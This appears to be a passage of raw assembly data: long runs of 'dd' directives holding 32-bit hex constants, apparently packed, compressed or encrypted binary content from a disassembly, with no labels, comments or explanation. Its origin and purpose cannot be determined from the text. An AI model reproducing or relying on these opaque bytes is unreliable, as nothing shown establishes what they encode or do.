dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h
dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h
dd 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh
dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh
dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h
dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h
dd 3A1672E6h, 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h
dd 1489313h, 9F4A00D3h, 401625B6h, 83780208h, 311AB200h
dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh
dd 903119h, 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h
dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h, 8840541h
dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h
dd 0AD41F6h, 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h
dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh
dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah
dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h
dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
dd 92DF7430h, 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h
dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h
dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
dd 0CD290Eh, 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh
dd 50C741Ah, 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h
dd 3F29845h, 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h
dd 0B847604Fh, 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh
dd 6BE84700h, 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h
dd 1B2089CCh, 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h
dd 0AC8B8954h, 34E683h, 8AEAA267h, 63C41618h, 0E0985200h
dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h
dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
dd 12C3AB7h, 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h
dd 93AECFAh, 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h
dd 90751ED3h, 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h
dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh
dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah
dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h
dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh
dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
dd 90C1300h, 22000E74h, 4950811Dh, 23581Eh, 47257531h
dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h
dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h
dd 77EA064h, 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h
dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
dd 8B2507E6h, 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh
dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h
dd 1365AEB3h, 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
dd 74F1513Dh, 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh
dd 0A54161E6h, 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h
dd 79247C00h, 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh
dd 47C7045Fh, 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h
dd 50806F19h
dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah
dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch
dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h
dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h
dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h
dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h
dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h
dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h
dd 1E2A40C8h, 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h
dd 0CE471627h, 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h
dd 16272EFCh, 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh
dd 0F3942467h, 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh
dd 99CB9238h, 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h
dd 1817438Fh, 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h
dd 4BFA4419h, 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh
dd 14510204h, 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah
dd 94ED2677h, 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah
dd 0C8B63047h, 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh
dd 9DF5F001h, 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h
dd 57E148C2h, 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h
dd 0F0004B12h, 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh
dd 0B214EB00h, 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh
dd 0A1856000h, 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h
dd 3B121400h, 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h
dd 4AEC7F00h, 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h
dd 8FA5F301h, 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh
dd 1508A4F8h, 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h
dd 35B5A100h, 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h
dd 4359481Dh, 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h
dd 417E1D05h, 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h
dd 26F95AD9h, 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h
dd 18247444h, 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h
dd 2080EE93h, 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch
dd 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h
dd 0F294834Bh, 383C22h, 334AE877h, 30BB354h, 0D0299200h
dd 595C44BBh, 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h
dd 80B4ED9Ah, 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch
dd 3E933700h, 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h
dd 32BBB684h, 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h
dd 83161C0Fh, 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h
dd 75231200h, 381A08EFh, 47743E40h, 25581383h, 0EC88A34h
dd 0BA001685h, 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh
dd 0CF01C62h, 75226000h, 6ECF7013h, 0B4150048h, 0E186926h
dd 0F212163Eh, 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh
dd 0F0080C43h, 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h
dd 192E1F37h, 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh
dd 75482Dh, 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah
dd 66F0041h, 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h
dd 508C00EBh, 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h
dd 7A680067h, 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh
dd 3718B76Dh, 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h
dd 8B8400E3h, 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h
dd 0EFF6Ah, 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h
dd 2C8BD618h, 275513h, 0EC80342h, 29E40865h, 4EEAB000h
dd 6CA3DAFCh, 24510030h, 1A7F4145h, 1700F5B4h, 93750542h
dd 0FAFE227h, 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h
dd 4C4B147Ch, 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h
dd 95F8375h, 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h
dd 0F86B04C6h, 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h
dd 96BCC700h, 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh
dd 0EC96573Bh, 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h
dd 8223C74Ah, 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh
dd 40CFC90h, 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h
dd 0C70441h, 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h
dd 16225498h, 293160h, 80CA4607h, 0C09CB8B4h, 89145200h
dd 95D1B9E2h, 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh
dd 1945132Fh, 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h
dd 1CF1306Ah, 295AD100h, 2712E5E4h, 41240065h, 66522D30h
dd 620C9B3Bh, 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h
dd 496892E4h, 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah
dd 57C0014Ah, 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h
dd 5F9AC101h, 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh
dd 8B770103h, 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh
dd 798B000Eh, 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h
dd 4E0E41h, 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h
dd 0AF3D07D0h, 91618828h, 213BA044h, 517460AFh, 68BC0800h
dd 0F9233450h, 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h
dd 3FC5Fh, 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h
dd 53030063h, 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh
dd 0CA000271h, 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h
dd 104F944Ch, 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h
dd 6F149C44h, 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h
dd 0ACC8EF82h, 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah
dd 3900F145h, 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh
dd 0C05857DCh, 277007Ch, 5213C201h, 0B4EA00C1h, 1FE40E4Fh
dd 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h
dd 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h
dd 0E3678410h, 0CA7DC0B8h
dd 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h
dd 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h
dd 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h
dd 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h
dd 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah
dd 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh, 6394C9h
dd 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh
dd 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch
dd 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h
dd 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h
dd 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah, 46068A1Bh
dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h, 6A985100h
dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h, 0AAF8C910h
dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
dd 32125B3Bh, 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h
dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
dd 0E506ADA0h, 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
dd 0F0F35214h, 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h
dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h
dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh
dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh
dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h
dd 5DFD6D0h, 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh
dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
dd 9B3D09h, 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah
dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
dd 0BD0FDCh, 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h
dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h
dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h
dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h
dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
dd 0C0756Dh, 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh
dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh
dd 2FC0C08h, 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h
dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h, 93CBE658h
dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h
dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h
dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h
dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h, 47640027h
dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h
dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
dd 7204583Bh, 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h
dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h, 371C8Dh
dd 3ADC3880h, 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh
dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
dd 72047E2h, 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h
dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh
dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h
dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h
dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h
dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
dd 0C793001Eh, 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch
dd 261B6F0Ch, 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h
dd 678EF90Ch, 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h
dd 26783Ch
dd 2E2C754Bh, 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h
dd 0AF5115F6h, 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah
dd 0C9004C69h, 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h
dd 666F5380h, 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh
dd 0D83D9173h, 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h
dd 0F8357F14h, 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h
dd 1322A654h, 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h
dd 0E5B6C74Eh, 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h
dd 64031019h, 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h
dd 5205503Bh, 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh
dd 553BC880h, 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh
dd 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h
dd 2A7D3E81h, 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h
dd 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h
dd 89582A2h, 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah
dd 8D520C06h, 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h
dd 11C98E7Dh, 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h
dd 3C00C9EDh, 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h
dd 0F7EB3400h, 9612CADh, 76747FB0h, 745B48E8h, 49017500h
dd 0DC76DA19h, 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh
dd 9B480B74h, 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h
dd 40B95F31h, 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h
dd 0B80FE502h, 29C00313h, 62491778h, 4424A0F7h, 14002018h
dd 597E8088h, 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch
dd 852046h, 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah
dd 63A600B8h, 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h
dd 812D8CC9h, 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah
dd 0B1D58990h, 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h
dd 0D68B2280h, 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h
dd 2A8801F9h, 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah
dd 1491C6h, 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h
dd 3B5374B4h, 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h
dd 0FA480775h, 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h
dd 0E9EB0402h, 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h
dd 2403D414h, 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h
dd 1C149FB3h, 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h
dd 87D882Ah, 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h
dd 8A94DE28h, 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh
